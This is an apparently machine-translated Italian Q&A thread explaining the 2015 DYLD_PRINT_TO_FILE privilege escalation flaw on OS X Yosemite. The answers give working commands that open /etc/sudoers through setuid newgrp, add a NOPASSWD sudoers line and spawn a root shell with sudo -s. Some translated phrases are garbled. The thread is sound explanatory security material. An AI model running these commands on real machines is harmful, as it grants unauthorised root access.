Come funziona la vulnerabilità di escalation dei privilegi DYLD su OS X?

10

Basta leggere la vulnerabilità di escalation dei privilegi DYLD riportata da Stefan Esser in link

Capisco che questo consenta a chiunque di creare o aprire file arbitrari di proprietà di root ovunque nel filesystem, ma voglio capire di più su come la divulgazione del descrittore di file ai proceses figlio rende questa minaccia più grande di quanto non lo fosse.

    
posta Josh 22.07.2015 - 19:00
fonte

2 risposte

7

Analisi

Quando si imposta:

DYLD_PRINT_TO_FILE=/tmp/log some_command

il caricatore dinamico MacOS X aprirà /tmp/log come un file di registro, cioè accodando l'accesso a potenziali problemi di debug all'interno del caricatore dinamico. Questo file è aperto con il primo descrittore di file libero nel contesto di chiamata shell che è 3. Quindi le associazioni dei descrittori di file sono:

0   →   stdin
1   →   stdout
2   →   stderr
3   →   /tmp/log

e in questo contesto il processo some_command è biforcato.

Sfortunatamente, il caricatore dinamico non chiude 3. Quindi il processo some_command è in esecuzione con un file aperto che non ha mai dovuto aprire e non ha mai attraversato il normale controllo dell'accesso al filesystem. Potrebbe trattarsi di un file a cui some_command non dovrebbe avere accesso se normalmente tentasse di aprirlo.

Esempio

Ad esempio, sebbene newgrp sia un binario setuid, non può scrivere su file protetti correttamente:

$ newgrp
$ echo '#comment' >&3
zsh: 3: bad file descriptor

questo errore è normale, la shell biforcuta da newgrp non ha un descrittore di file 3 aperto, come lsof permette di vederlo chiaramente (guarda la colonna FD per il 3):

$ lsof -p $$
COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF      NODE NAME
[...]
zsh     2405  bob    0u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    1u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    2u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    5                                   (revoked)
[...]

Ma a causa della mancanza di chiusura 3 nel caricatore dinamico:

$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3
$

attenzione: qui l'assenza di un messaggio di errore significa che echo ha funzionato. e inoltre lsof mostra il buco (riga 3w, che significa file descriptor 3 aperto con accesso in scrittura):

$ lsof -p $$
COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF       NODE NAME
[...]
zsh     2430  bob    0u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    1u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    2u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    3w   REG    1,7      1293 2034681610 /private/etc/sudoers
zsh     2430  bob    5                                    (revoked)
[...]

lascerà che newgrp scriva su /etc/sudoers file se non si fosse mai verificato.

Attenzione

Se provi questo esempio, non dimenticare di pulire il /etc/sudoers in seguito, anche se questo esempio è innocuo. La sua ultima riga contiene ora #comment .

    
risposta data 23.07.2015 - 15:51
fonte
3

newgrp è un'utilità UNIX che esegue una shell con un nuovo ID di gruppo (vedere la specifica UNIX pagina ). Questa utility richiede il permesso di root in quanto può cambiare l'ID di gruppo in uno esterno all'elenco di gruppi della shell corrente (ad es. In qualsiasi gruppo nell'elenco di gruppi di uid). Pertanto, newgrp è un'applicazione di setuid root che avvia una shell.

DYLD_PRINT_TO_FILE è una variabile di ambiente dyld (OS X dynamic linker) che indica a dyld dove stampare le informazioni di debug. Questa particolare variabile è stata aggiunta in OS X 10.10 "Yosemite". È solo uno dei gran numero di DYLD_ variabili , che facilitano il debug del caricamento della libreria condivisa. Quando dyld vede DYLD_PRINT_TO_FILE , apre un nuovo descrittore di file collegato al file specificato. Dato che fds 0,1,2 sono già collegati a stdin, stdout e stderr, il file è aperto come fd 3. In particolare, poiché newgrp inizia come root, il file viene aperto usando le autorizzazioni di root, anche se newgrp più tardi viene eliminato privilegi per generare la shell.

Poiché le variabili di ambiente DYLD_ possono modificare il comportamento di un programma in modi imprevisti (in particolare DYLD_INSERT_LIBRARIES , l'equivalente OS X di LD_PRELOAD ), di solito vengono eliminati o disinfettati prima di eseguire i programmi setuid. Apple ha chiaramente dimenticato di disinfettare il nuovo DYLD_PRINT_TO_FILE durante la spedizione di Yosemite, aprendo questa particolare imperfezione.

Infine, il comando (esterno) echo dice alla subshell generata da newgrp di eseguire il comando (interno) echo, che emette la stringa $(whoami) ALL=(ALL) NOPASSWD:ALL in fd 3, che ora è /etc/sudoers . Questa riga dice sudo che a qualsiasi account è permesso l'accesso sudo e che non è richiesta alcuna password per usare sudo.

Quindi la subshell viene chiusa (non vengono più eseguiti comandi) e viene eseguito il comando finale sudo -s . Poiché sudo non richiede più una password e tutti gli account possono utilizzare sudo, sudo -s apre immediatamente una shell di root senza chiedere conferma.

Il dyld di OS X rimuove tutte le% variabili% di% dall'ambiente per DYLD_ app, come puoi vedere nella funzione setuid da pruneEnvironmentVariables . Quindi perché questo bug esiste del tutto? La risposta è che dyld.cpp viene gestito molto prima che avvenga l'igienizzazione: in effetti, è fondamentalmente la prima cosa che DYLD_PRINT_TO_FILE fa dopo l'avvio (vedere dyld in _main ). La soluzione di Apple, quindi, dovrebbe essere abbastanza semplice: il file dovrebbe essere aperto solo dopo che l'ambiente è stato correttamente disinfettato.

    
risposta data 24.07.2015 - 05:49
fonte

Leggi altre domande sui tag